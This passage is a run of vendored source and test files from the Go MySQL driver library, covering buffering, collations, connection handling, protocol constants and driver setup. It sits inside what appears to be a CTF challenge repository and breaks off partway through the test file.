================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "io" "net" "time" ) const defaultBufSize = 4096 // A buffer which is used for both reading and writing. // This is possible since communication on each connection is synchronous. // In other words, we can't write and read simultaneously on the same connection. // The buffer is similar to bufio.Reader / Writer but zero-copy-ish // Also highly optimized for this particular use case. type buffer struct { buf []byte nc net.Conn idx int length int timeout time.Duration } func newBuffer(nc net.Conn) buffer { var b [defaultBufSize]byte return buffer{ buf: b[:], nc: nc, } } // fill reads into the buffer until at least _need_ bytes are in it func (b *buffer) fill(need int) error { n := b.length // move existing data to the beginning if n > 0 && b.idx > 0 { copy(b.buf[0:n], b.buf[b.idx:]) } // grow buffer if necessary // TODO: let the buffer shrink again at some point // Maybe keep the org buf slice and swap back? if need > len(b.buf) { // Round up to the next multiple of the default size newBuf := make([]byte, ((need/defaultBufSize)+1)*defaultBufSize) copy(newBuf, b.buf) b.buf = newBuf } b.idx = 0 for { if b.timeout > 0 { if err := b.nc.SetReadDeadline(time.Now().Add(b.timeout)); err != nil { return err } } nn, err := b.nc.Read(b.buf[n:]) n += nn switch err { case nil: if n < need { continue } b.length = n return nil case io.EOF: if n >= need { b.length = n return nil } return io.ErrUnexpectedEOF default: return err } } } // returns next N bytes from buffer. // The returned slice is only guaranteed to be valid until the next read func (b *buffer) readNext(need int) ([]byte, error) { if b.length < need { // refill if err := b.fill(need); err != nil { return nil, err } } offset := b.idx b.idx += need b.length -= need return b.buf[offset:b.idx], nil } // returns a buffer with the requested size. // If possible, a slice from the existing buffer is returned. // Otherwise a bigger buffer is made. // Only one buffer (total) can be used at a time. func (b *buffer) takeBuffer(length int) []byte { if b.length > 0 { return nil } // test (cheap) general case first if length <= defaultBufSize || length <= cap(b.buf) { return b.buf[:length] } if length < maxPacketSize { b.buf = make([]byte, length) return b.buf } return make([]byte, length) } // shortcut which can be used if the requested buffer is guaranteed to be // smaller than defaultBufSize // Only one buffer (total) can be used at a time. func (b *buffer) takeSmallBuffer(length int) []byte { if b.length == 0 { return b.buf[:length] } return nil } // takeCompleteBuffer returns the complete existing buffer. // This can be used if the necessary buffer size is unknown. // Only one buffer (total) can be used at a time. func (b *buffer) takeCompleteBuffer() []byte { if b.length == 0 { return b.buf } return nil } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/collations.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2014 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql const defaultCollation = "utf8_general_ci" // A list of available collations mapped to the internal ID. // To update this map use the following MySQL query: // SELECT COLLATION_NAME, ID FROM information_schema.COLLATIONS var collations = map[string]byte{ "big5_chinese_ci": 1, "latin2_czech_cs": 2, "dec8_swedish_ci": 3, "cp850_general_ci": 4, "latin1_german1_ci": 5, "hp8_english_ci": 6, "koi8r_general_ci": 7, "latin1_swedish_ci": 8, "latin2_general_ci": 9, "swe7_swedish_ci": 10, "ascii_general_ci": 11, "ujis_japanese_ci": 12, "sjis_japanese_ci": 13, "cp1251_bulgarian_ci": 14, "latin1_danish_ci": 15, "hebrew_general_ci": 16, "tis620_thai_ci": 18, "euckr_korean_ci": 19, "latin7_estonian_cs": 20, "latin2_hungarian_ci": 21, "koi8u_general_ci": 22, "cp1251_ukrainian_ci": 23, "gb2312_chinese_ci": 24, "greek_general_ci": 25, "cp1250_general_ci": 26, "latin2_croatian_ci": 27, "gbk_chinese_ci": 28, "cp1257_lithuanian_ci": 29, "latin5_turkish_ci": 30, "latin1_german2_ci": 31, "armscii8_general_ci": 32, "utf8_general_ci": 33, "cp1250_czech_cs": 34, "ucs2_general_ci": 35, "cp866_general_ci": 36, "keybcs2_general_ci": 37, "macce_general_ci": 38, "macroman_general_ci": 39, "cp852_general_ci": 40, "latin7_general_ci": 41, "latin7_general_cs": 42, "macce_bin": 43, "cp1250_croatian_ci": 44, "utf8mb4_general_ci": 45, "utf8mb4_bin": 46, "latin1_bin": 47, "latin1_general_ci": 48, "latin1_general_cs": 49, "cp1251_bin": 50, "cp1251_general_ci": 51, "cp1251_general_cs": 52, "macroman_bin": 53, "utf16_general_ci": 54, "utf16_bin": 55, "utf16le_general_ci": 56, "cp1256_general_ci": 57, "cp1257_bin": 58, "cp1257_general_ci": 59, "utf32_general_ci": 60, "utf32_bin": 61, "utf16le_bin": 62, "binary": 63, "armscii8_bin": 64, "ascii_bin": 65, "cp1250_bin": 66, "cp1256_bin": 67, "cp866_bin": 68, "dec8_bin": 69, "greek_bin": 70, "hebrew_bin": 71, "hp8_bin": 72, "keybcs2_bin": 73, "koi8r_bin": 74, "koi8u_bin": 75, "latin2_bin": 77, "latin5_bin": 78, "latin7_bin": 79, "cp850_bin": 80, "cp852_bin": 81, "swe7_bin": 82, "utf8_bin": 83, "big5_bin": 84, "euckr_bin": 85, "gb2312_bin": 86, "gbk_bin": 87, "sjis_bin": 88, "tis620_bin": 89, "ucs2_bin": 90, "ujis_bin": 91, "geostd8_general_ci": 92, "geostd8_bin": 93, "latin1_spanish_ci": 94, "cp932_japanese_ci": 95, "cp932_bin": 96, "eucjpms_japanese_ci": 97, "eucjpms_bin": 98, "cp1250_polish_ci": 99, "utf16_unicode_ci": 101, "utf16_icelandic_ci": 102, "utf16_latvian_ci": 103, "utf16_romanian_ci": 104, "utf16_slovenian_ci": 105, "utf16_polish_ci": 106, "utf16_estonian_ci": 107, "utf16_spanish_ci": 108, "utf16_swedish_ci": 109, "utf16_turkish_ci": 110, "utf16_czech_ci": 111, "utf16_danish_ci": 112, "utf16_lithuanian_ci": 113, "utf16_slovak_ci": 114, "utf16_spanish2_ci": 115, "utf16_roman_ci": 116, "utf16_persian_ci": 117, "utf16_esperanto_ci": 118, "utf16_hungarian_ci": 119, "utf16_sinhala_ci": 120, "utf16_german2_ci": 121, "utf16_croatian_ci": 122, "utf16_unicode_520_ci": 123, "utf16_vietnamese_ci": 124, "ucs2_unicode_ci": 128, "ucs2_icelandic_ci": 129, "ucs2_latvian_ci": 130, "ucs2_romanian_ci": 131, "ucs2_slovenian_ci": 132, "ucs2_polish_ci": 133, "ucs2_estonian_ci": 134, "ucs2_spanish_ci": 135, "ucs2_swedish_ci": 136, "ucs2_turkish_ci": 137, "ucs2_czech_ci": 138, "ucs2_danish_ci": 139, "ucs2_lithuanian_ci": 140, "ucs2_slovak_ci": 141, "ucs2_spanish2_ci": 142, "ucs2_roman_ci": 143, "ucs2_persian_ci": 144, "ucs2_esperanto_ci": 145, "ucs2_hungarian_ci": 146, "ucs2_sinhala_ci": 147, "ucs2_german2_ci": 148, "ucs2_croatian_ci": 149, "ucs2_unicode_520_ci": 150, "ucs2_vietnamese_ci": 151, "ucs2_general_mysql500_ci": 159, "utf32_unicode_ci": 160, "utf32_icelandic_ci": 161, "utf32_latvian_ci": 162, "utf32_romanian_ci": 163, "utf32_slovenian_ci": 164, "utf32_polish_ci": 165, "utf32_estonian_ci": 166, "utf32_spanish_ci": 167, "utf32_swedish_ci": 168, "utf32_turkish_ci": 169, "utf32_czech_ci": 170, "utf32_danish_ci": 171, "utf32_lithuanian_ci": 172, "utf32_slovak_ci": 173, "utf32_spanish2_ci": 174, "utf32_roman_ci": 175, "utf32_persian_ci": 176, "utf32_esperanto_ci": 177, "utf32_hungarian_ci": 178, "utf32_sinhala_ci": 179, "utf32_german2_ci": 180, "utf32_croatian_ci": 181, "utf32_unicode_520_ci": 182, "utf32_vietnamese_ci": 183, "utf8_unicode_ci": 192, "utf8_icelandic_ci": 193, "utf8_latvian_ci": 194, "utf8_romanian_ci": 195, "utf8_slovenian_ci": 196, "utf8_polish_ci": 197, "utf8_estonian_ci": 198, "utf8_spanish_ci": 199, "utf8_swedish_ci": 200, "utf8_turkish_ci": 201, "utf8_czech_ci": 202, "utf8_danish_ci": 203, "utf8_lithuanian_ci": 204, "utf8_slovak_ci": 205, "utf8_spanish2_ci": 206, "utf8_roman_ci": 207, "utf8_persian_ci": 208, "utf8_esperanto_ci": 209, "utf8_hungarian_ci": 210, "utf8_sinhala_ci": 211, "utf8_german2_ci": 212, "utf8_croatian_ci": 213, "utf8_unicode_520_ci": 214, "utf8_vietnamese_ci": 215, "utf8_general_mysql500_ci": 223, "utf8mb4_unicode_ci": 224, "utf8mb4_icelandic_ci": 225, "utf8mb4_latvian_ci": 226, "utf8mb4_romanian_ci": 227, "utf8mb4_slovenian_ci": 228, "utf8mb4_polish_ci": 229, "utf8mb4_estonian_ci": 230, "utf8mb4_spanish_ci": 231, "utf8mb4_swedish_ci": 232, "utf8mb4_turkish_ci": 233, "utf8mb4_czech_ci": 234, "utf8mb4_danish_ci": 235, "utf8mb4_lithuanian_ci": 236, "utf8mb4_slovak_ci": 237, "utf8mb4_spanish2_ci": 238, "utf8mb4_roman_ci": 239, "utf8mb4_persian_ci": 240, "utf8mb4_esperanto_ci": 241, "utf8mb4_hungarian_ci": 242, "utf8mb4_sinhala_ci": 243, "utf8mb4_german2_ci": 244, "utf8mb4_croatian_ci": 245, "utf8mb4_unicode_520_ci": 246, "utf8mb4_vietnamese_ci": 247, } // A blacklist of collations which is unsafe to interpolate parameters. // These multibyte encodings may contains 0x5c (`\`) in their trailing bytes. var unsafeCollations = map[string]bool{ "big5_chinese_ci": true, "sjis_japanese_ci": true, "gbk_chinese_ci": true, "big5_bin": true, "gb2312_bin": true, "gbk_bin": true, "sjis_bin": true, "cp932_japanese_ci": true, "cp932_bin": true, } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/connection.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "database/sql/driver" "net" "strconv" "strings" "time" ) type mysqlConn struct { buf buffer netConn net.Conn affectedRows uint64 insertId uint64 cfg *Config maxAllowedPacket int maxWriteSize int writeTimeout time.Duration flags clientFlag status statusFlag sequence uint8 parseTime bool strict bool } // Handles parameters set in DSN after the connection is established func (mc *mysqlConn) handleParams() (err error) { for param, val := range mc.cfg.Params { switch param { // Charset case "charset": charsets := strings.Split(val, ",") for i := range charsets { // ignore errors here - a charset may not exist err = mc.exec("SET NAMES " + charsets[i]) if err == nil { break } } if err != nil { return } // System Vars default: err = mc.exec("SET " + param + "=" + val + "") if err != nil { return } } } return } func (mc *mysqlConn) Begin() (driver.Tx, error) { if mc.netConn == nil { errLog.Print(ErrInvalidConn) return nil, driver.ErrBadConn } err := mc.exec("START TRANSACTION") if err == nil { return &mysqlTx{mc}, err } return nil, err } func (mc *mysqlConn) Close() (err error) { // Makes Close idempotent if mc.netConn != nil { err = mc.writeCommandPacket(comQuit) } mc.cleanup() return } // Closes the network connection and unsets internal variables. Do not call this // function after successfully authentication, call Close instead. This function // is called before auth or on auth failure because MySQL will have already // closed the network connection. func (mc *mysqlConn) cleanup() { // Makes cleanup idempotent if mc.netConn != nil { if err := mc.netConn.Close(); err != nil { errLog.Print(err) } mc.netConn = nil } mc.cfg = nil mc.buf.nc = nil } func (mc *mysqlConn) Prepare(query string) (driver.Stmt, error) { if mc.netConn == nil { errLog.Print(ErrInvalidConn) return nil, driver.ErrBadConn } // Send command err := mc.writeCommandPacketStr(comStmtPrepare, query) if err != nil { return nil, err } stmt := &mysqlStmt{ mc: mc, } // Read Result columnCount, err := stmt.readPrepareResultPacket() if err == nil { if stmt.paramCount > 0 { if err = mc.readUntilEOF(); err != nil { return nil, err } } if columnCount > 0 { err = mc.readUntilEOF() } } return stmt, err } func (mc *mysqlConn) interpolateParams(query string, args []driver.Value) (string, error) { // Number of ? should be same to len(args) if strings.Count(query, "?") != len(args) { return "", driver.ErrSkip } buf := mc.buf.takeCompleteBuffer() if buf == nil { // can not take the buffer. Something must be wrong with the connection errLog.Print(ErrBusyBuffer) return "", driver.ErrBadConn } buf = buf[:0] argPos := 0 for i := 0; i < len(query); i++ { q := strings.IndexByte(query[i:], '?') if q == -1 { buf = append(buf, query[i:]...) break } buf = append(buf, query[i:i+q]...) i += q arg := args[argPos] argPos++ if arg == nil { buf = append(buf, "NULL"...) continue } switch v := arg.(type) { case int64: buf = strconv.AppendInt(buf, v, 10) case float64: buf = strconv.AppendFloat(buf, v, 'g', -1, 64) case bool: if v { buf = append(buf, '1') } else { buf = append(buf, '0') } case time.Time: if v.IsZero() { buf = append(buf, "'0000-00-00'"...) } else { v := v.In(mc.cfg.Loc) v = v.Add(time.Nanosecond * 500) // To round under microsecond year := v.Year() year100 := year / 100 year1 := year % 100 month := v.Month() day := v.Day() hour := v.Hour() minute := v.Minute() second := v.Second() micro := v.Nanosecond() / 1000 buf = append(buf, []byte{ '\'', digits10[year100], digits01[year100], digits10[year1], digits01[year1], '-', digits10[month], digits01[month], '-', digits10[day], digits01[day], ' ', digits10[hour], digits01[hour], ':', digits10[minute], digits01[minute], ':', digits10[second], digits01[second], }...) if micro != 0 { micro10000 := micro / 10000 micro100 := micro / 100 % 100 micro1 := micro % 100 buf = append(buf, []byte{ '.', digits10[micro10000], digits01[micro10000], digits10[micro100], digits01[micro100], digits10[micro1], digits01[micro1], }...) } buf = append(buf, '\'') } case []byte: if v == nil { buf = append(buf, "NULL"...) } else { buf = append(buf, "_binary'"...) if mc.status&statusNoBackslashEscapes == 0 { buf = escapeBytesBackslash(buf, v) } else { buf = escapeBytesQuotes(buf, v) } buf = append(buf, '\'') } case string: buf = append(buf, '\'') if mc.status&statusNoBackslashEscapes == 0 { buf = escapeStringBackslash(buf, v) } else { buf = escapeStringQuotes(buf, v) } buf = append(buf, '\'') default: return "", driver.ErrSkip } if len(buf)+4 > mc.maxAllowedPacket { return "", driver.ErrSkip } } if argPos != len(args) { return "", driver.ErrSkip } return string(buf), nil } func (mc *mysqlConn) Exec(query string, args []driver.Value) (driver.Result, error) { if mc.netConn == nil { errLog.Print(ErrInvalidConn) return nil, driver.ErrBadConn } if len(args) != 0 { if !mc.cfg.InterpolateParams { return nil, driver.ErrSkip } // try to interpolate the parameters to save extra roundtrips for preparing and closing a statement prepared, err := mc.interpolateParams(query, args) if err != nil { return nil, err } query = prepared args = nil } mc.affectedRows = 0 mc.insertId = 0 err := mc.exec(query) if err == nil { return &mysqlResult{ affectedRows: int64(mc.affectedRows), insertId: int64(mc.insertId), }, err } return nil, err } // Internal function to execute commands func (mc *mysqlConn) exec(query string) error { // Send command err := mc.writeCommandPacketStr(comQuery, query) if err != nil { return err } // Read Result resLen, err := mc.readResultSetHeaderPacket() if err == nil && resLen > 0 { if err = mc.readUntilEOF(); err != nil { return err } err = mc.readUntilEOF() } return err } func (mc *mysqlConn) Query(query string, args []driver.Value) (driver.Rows, error) { if mc.netConn == nil { errLog.Print(ErrInvalidConn) return nil, driver.ErrBadConn } if len(args) != 0 { if !mc.cfg.InterpolateParams { return nil, driver.ErrSkip } // try client-side prepare to reduce roundtrip prepared, err := mc.interpolateParams(query, args) if err != nil { return nil, err } query = prepared args = nil } // Send command err := mc.writeCommandPacketStr(comQuery, query) if err == nil { // Read Result var resLen int resLen, err = mc.readResultSetHeaderPacket() if err == nil { rows := new(textRows) rows.mc = mc if resLen == 0 { // no columns, no more data return emptyRows{}, nil } // Columns rows.columns, err = mc.readColumns(resLen) return rows, err } } return nil, err } // Gets the value of the given MySQL System Variable // The returned byte slice is only valid until the next read func (mc *mysqlConn) getSystemVar(name string) ([]byte, error) { // Send command if err := mc.writeCommandPacketStr(comQuery, "SELECT @@"+name); err != nil { return nil, err } // Read Result resLen, err := mc.readResultSetHeaderPacket() if err == nil { rows := new(textRows) rows.mc = mc rows.columns = []mysqlField{{fieldType: fieldTypeVarChar}} if resLen > 0 { // Columns if err := mc.readUntilEOF(); err != nil { return nil, err } } dest := make([]driver.Value, resLen) if err = rows.readRow(dest); err == nil { return dest[0].([]byte), mc.readUntilEOF() } } return nil, err } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/connection_test.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2016 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "database/sql/driver" "testing" ) func TestInterpolateParams(t *testing.T) { mc := &mysqlConn{ buf: newBuffer(nil), maxAllowedPacket: maxPacketSize, cfg: &Config{ InterpolateParams: true, }, } q, err := mc.interpolateParams("SELECT ?+?", []driver.Value{int64(42), "gopher"}) if err != nil { t.Errorf("Expected err=nil, got %#v", err) return } expected := `SELECT 42+'gopher'` if q != expected { t.Errorf("Expected: %q\nGot: %q", expected, q) } } func TestInterpolateParamsTooManyPlaceholders(t *testing.T) { mc := &mysqlConn{ buf: newBuffer(nil), maxAllowedPacket: maxPacketSize, cfg: &Config{ InterpolateParams: true, }, } q, err := mc.interpolateParams("SELECT ?+?", []driver.Value{int64(42)}) if err != driver.ErrSkip { t.Errorf("Expected err=driver.ErrSkip, got err=%#v, q=%#v", err, q) } } // We don't support placeholder in string literal for now. // https://github.com/go-sql-driver/mysql/pull/490 func TestInterpolateParamsPlaceholderInString(t *testing.T) { mc := &mysqlConn{ buf: newBuffer(nil), maxAllowedPacket: maxPacketSize, cfg: &Config{ InterpolateParams: true, }, } q, err := mc.interpolateParams("SELECT 'abc?xyz',?", []driver.Value{int64(42)}) // When InterpolateParams support string literal, this should return `"SELECT 'abc?xyz', 42` if err != driver.ErrSkip { t.Errorf("Expected err=driver.ErrSkip, got err=%#v, q=%#v", err, q) } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/const.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql const ( minProtocolVersion byte = 10 maxPacketSize = 1<<24 - 1 timeFormat = "2006-01-02 15:04:05.999999" ) // MySQL constants documentation: // http://dev.mysql.com/doc/internals/en/client-server-protocol.html const ( iOK byte = 0x00 iLocalInFile byte = 0xfb iEOF byte = 0xfe iERR byte = 0xff ) // https://dev.mysql.com/doc/internals/en/capability-flags.html#packet-Protocol::CapabilityFlags type clientFlag uint32 const ( clientLongPassword clientFlag = 1 << iota clientFoundRows clientLongFlag clientConnectWithDB clientNoSchema clientCompress clientODBC clientLocalFiles clientIgnoreSpace clientProtocol41 clientInteractive clientSSL clientIgnoreSIGPIPE clientTransactions clientReserved clientSecureConn clientMultiStatements clientMultiResults clientPSMultiResults clientPluginAuth clientConnectAttrs clientPluginAuthLenEncClientData clientCanHandleExpiredPasswords clientSessionTrack clientDeprecateEOF ) const ( comQuit byte = iota + 1 comInitDB comQuery comFieldList comCreateDB comDropDB comRefresh comShutdown comStatistics comProcessInfo comConnect comProcessKill comDebug comPing comTime comDelayedInsert comChangeUser comBinlogDump comTableDump comConnectOut comRegisterSlave comStmtPrepare comStmtExecute comStmtSendLongData comStmtClose comStmtReset comSetOption comStmtFetch ) // https://dev.mysql.com/doc/internals/en/com-query-response.html#packet-Protocol::ColumnType const ( fieldTypeDecimal byte = iota fieldTypeTiny fieldTypeShort fieldTypeLong fieldTypeFloat fieldTypeDouble fieldTypeNULL fieldTypeTimestamp fieldTypeLongLong fieldTypeInt24 fieldTypeDate fieldTypeTime fieldTypeDateTime fieldTypeYear fieldTypeNewDate fieldTypeVarChar fieldTypeBit ) const ( fieldTypeJSON byte = iota + 0xf5 fieldTypeNewDecimal fieldTypeEnum fieldTypeSet fieldTypeTinyBLOB fieldTypeMediumBLOB fieldTypeLongBLOB fieldTypeBLOB fieldTypeVarString fieldTypeString fieldTypeGeometry ) type fieldFlag uint16 const ( flagNotNULL fieldFlag = 1 << iota flagPriKey flagUniqueKey flagMultipleKey flagBLOB flagUnsigned flagZeroFill flagBinary flagEnum flagAutoIncrement flagTimestamp flagSet flagUnknown1 flagUnknown2 flagUnknown3 flagUnknown4 ) // http://dev.mysql.com/doc/internals/en/status-flags.html type statusFlag uint16 const ( statusInTrans statusFlag = 1 << iota statusInAutocommit statusReserved // Not in documentation statusMoreResultsExists statusNoGoodIndexUsed statusNoIndexUsed statusCursorExists statusLastRowSent statusDbDropped statusNoBackslashEscapes statusMetadataChanged statusQueryWasSlow statusPsOutParams statusInTransReadonly statusSessionStateChanged ) ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/driver.go ================================================ // Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. // Package mysql provides a MySQL driver for Go's database/sql package // // The driver should be used via the database/sql package: // // import "database/sql" // import _ "github.com/go-sql-driver/mysql" // // db, err := sql.Open("mysql", "user:password@/dbname") // // See https://github.com/go-sql-driver/mysql#usage for details package mysql import ( "database/sql" "database/sql/driver" "net" ) // MySQLDriver is exported to make the driver directly accessible. // In general the driver is used via the database/sql package. type MySQLDriver struct{} // DialFunc is a function which can be used to establish the network connection. // Custom dial functions must be registered with RegisterDial type DialFunc func(addr string) (net.Conn, error) var dials map[string]DialFunc // RegisterDial registers a custom dial function. It can then be used by the // network address mynet(addr), where mynet is the registered new network. // addr is passed as a parameter to the dial function. func RegisterDial(net string, dial DialFunc) { if dials == nil { dials = make(map[string]DialFunc) } dials[net] = dial } // Open new Connection. // See https://github.com/go-sql-driver/mysql#dsn-data-source-name for how // the DSN string is formated func (d MySQLDriver) Open(dsn string) (driver.Conn, error) { var err error // New mysqlConn mc := &mysqlConn{ maxAllowedPacket: maxPacketSize, maxWriteSize: maxPacketSize - 1, } mc.cfg, err = ParseDSN(dsn) if err != nil { return nil, err } mc.parseTime = mc.cfg.ParseTime mc.strict = mc.cfg.Strict // Connect to Server if dial, ok := dials[mc.cfg.Net]; ok { mc.netConn, err = dial(mc.cfg.Addr) } else { nd := net.Dialer{Timeout: mc.cfg.Timeout} mc.netConn, err = nd.Dial(mc.cfg.Net, mc.cfg.Addr) } if err != nil { return nil, err } // Enable TCP Keepalives on TCP connections if tc, ok := mc.netConn.(*net.TCPConn); ok { if err := tc.SetKeepAlive(true); err != nil { // Don't send COM_QUIT before handshake. mc.netConn.Close() mc.netConn = nil return nil, err } } mc.buf = newBuffer(mc.netConn) // Set I/O timeouts mc.buf.timeout = mc.cfg.ReadTimeout mc.writeTimeout = mc.cfg.WriteTimeout // Reading Handshake Initialization Packet cipher, err := mc.readInitPacket() if err != nil { mc.cleanup() return nil, err } // Send Client Authentication Packet if err = mc.writeAuthPacket(cipher); err != nil { mc.cleanup() return nil, err } // Handle response to auth packet, switch methods if possible if err = handleAuthResult(mc, cipher); err != nil { // Authentication failed and MySQL has already closed the connection // (https://dev.mysql.com/doc/internals/en/authentication-fails.html). // Do not send COM_QUIT, just cleanup and return the error. mc.cleanup() return nil, err } if mc.cfg.MaxAllowedPacket > 0 { mc.maxAllowedPacket = mc.cfg.MaxAllowedPacket } else { // Get max allowed packet size maxap, err := mc.getSystemVar("max_allowed_packet") if err != nil { mc.Close() return nil, err } mc.maxAllowedPacket = stringToInt(maxap) - 1 } if mc.maxAllowedPacket < maxPacketSize { mc.maxWriteSize = mc.maxAllowedPacket } // Handle DSN Params err = mc.handleParams() if err != nil { mc.Close() return nil, err } return mc, nil } func handleAuthResult(mc *mysqlConn, oldCipher []byte) error { // Read Result Packet cipher, err := mc.readResultOK() if err == nil { return nil // auth successful } if mc.cfg == nil { return err // auth failed and retry not possible } // Retry auth if configured to do so. if mc.cfg.AllowOldPasswords && err == ErrOldPassword { // Retry with old authentication method. Note: there are edge cases // where this should work but doesn't; this is currently "wontfix": // https://github.com/go-sql-driver/mysql/issues/184 // If CLIENT_PLUGIN_AUTH capability is not supported, no new cipher is // sent and we have to keep using the cipher sent in the init packet. if cipher == nil { cipher = oldCipher } if err = mc.writeOldAuthPacket(cipher); err != nil { return err } _, err = mc.readResultOK() } else if mc.cfg.AllowCleartextPasswords && err == ErrCleartextPassword { // Retry with clear text password for // http://dev.mysql.com/doc/refman/5.7/en/cleartext-authentication-plugin.html // http://dev.mysql.com/doc/refman/5.7/en/pam-authentication-plugin.html if err = mc.writeClearAuthPacket(); err != nil { return err } _, err = mc.readResultOK() } else if mc.cfg.AllowNativePasswords && err == ErrNativePassword { if err = mc.writeNativeAuthPacket(cipher); err != nil { return err } _, err = mc.readResultOK() } return err } func init() { sql.Register("mysql", &MySQLDriver{}) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/driver_test.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "bytes" "crypto/tls" "database/sql" "database/sql/driver" "fmt" "io" "io/ioutil" "log" "net" "net/url" "os" "strings" "sync" "sync/atomic" "testing" "time" ) var ( user string pass string prot string addr string dbname string dsn string netAddr string available bool ) var ( tDate = time.Date(2012, 6, 14, 0, 0, 0, 0, time.UTC) sDate = "2012-06-14" tDateTime = time.Date(2011, 11, 20, 21, 27, 37, 0, time.UTC) sDateTime = "2011-11-20 21:27:37" tDate0 = time.Time{} sDate0 = "0000-00-00" sDateTime0 = "0000-00-00 00:00:00" ) // See https://github.com/go-sql-driver/mysql/wiki/Testing func init() { // get environment variables env := func(key, defaultValue string) string { if value := os.Getenv(key); value != "" { return value } return defaultValue } user = env("MYSQL_TEST_USER", "root") pass = env("MYSQL_TEST_PASS", "") prot = env("MYSQL_TEST_PROT", "tcp") addr = env("MYSQL_TEST_ADDR", "localhost:3306") dbname = env("MYSQL_TEST_DBNAME", "gotest") netAddr = fmt.Sprintf("%s(%s)", prot, addr) dsn = fmt.Sprintf("%s:%s@%s/%s?timeout=30s&strict=true", user, pass, netAddr, dbname) c, err := net.Dial(prot, addr) if err == nil { available = true c.Close() } } type DBTest struct { *testing.T db *sql.DB } func runTestsWithMultiStatement(t *testing.T, dsn string, tests ...func(dbt *DBTest)) { if !available { t.Skipf("MySQL server not running on %s", netAddr) } dsn += "&multiStatements=true" var db *sql.DB if _, err := ParseDSN(dsn); err != errInvalidDSNUnsafeCollation { db, err = sql.Open("mysql", dsn) if err != nil { t.Fatalf("error connecting: %s", err.Error()) } defer db.Close() } dbt := &DBTest{t, db} for _, test := range tests { test(dbt) dbt.db.Exec("DROP TABLE IF EXISTS test") } } func runTests(t *testing.T, dsn string, tests ...func(dbt *DBTest)) { if !available { t.Skipf("MySQL server not running on %s", netAddr) } db, err := sql.Open("mysql", dsn) if err != nil { t.Fatalf("error connecting: %s", err.Error()) } defer db.Close() db.Exec("DROP TABLE IF EXISTS test") dsn2 := dsn + "&interpolateParams=true" var db2 *sql.DB if _, err := ParseDSN(dsn2); err != errInvalidDSNUnsafeCollation { db2, err = sql.Open("mysql", dsn2) if err != nil { t.Fatalf("error connecting: %s", err.Error()) } defer db2.Close() } dsn3 := dsn + "&multiStatements=true" var db3 *sql.DB if _, err := ParseDSN(dsn3); err != errInvalidDSNUnsafeCollation { db3, err = sql.Open("mysql", dsn3) if err != nil { t.Fatalf("error connecting: %s", err.Error()) } defer db3.Close() } dbt := &DBTest{t, db} dbt2 := &DBTest{t, db2} dbt3 := &DBTest{t, db3} for _, test := range tests { test(dbt) dbt.db.Exec("DROP TABLE IF EXISTS test") if db2 != nil { test(dbt2) dbt2.db.Exec("DROP TABLE IF EXISTS test") } if db3 != nil { test(dbt3) dbt3.db.Exec("DROP TABLE IF EXISTS test") } } } func (dbt *DBTest) fail(method, query string, err error) { if len(query) > 300 { query = "[query too large to print]" } dbt.Fatalf("error on %s %s: %s", method, query, err.Error()) } func (dbt *DBTest) mustExec(query string, args ...interface{}) (res sql.Result) { res, err := dbt.db.Exec(query, args...) if err != nil { dbt.fail("exec", query, err) } return res } func (dbt *DBTest) mustQuery(query string, args ...interface{}) (rows *sql.Rows) { rows, err := dbt.db.Query(query, args...) if err != nil { dbt.fail("query", query, err) } return rows } func TestEmptyQuery(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { // just a comment, no query rows := dbt.mustQuery("--") // will hang before #255 if rows.Next() { dbt.Errorf("next on rows must be false") } }) } func TestCRUD(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { // Create Table dbt.mustExec("CREATE TABLE test (value BOOL)") // Test for unexpected data var out bool rows := dbt.mustQuery("SELECT * FROM test") if rows.Next() { dbt.Error("unexpected data in empty table") } // Create Data res := dbt.mustExec("INSERT INTO test VALUES (1)") count, err := res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 1 { dbt.Fatalf("expected 1 affected row, got %d", count) } id, err := res.LastInsertId() if err != nil { dbt.Fatalf("res.LastInsertId() returned error: %s", err.Error()) } if id != 0 { dbt.Fatalf("expected InsertId 0, got %d", id) } // 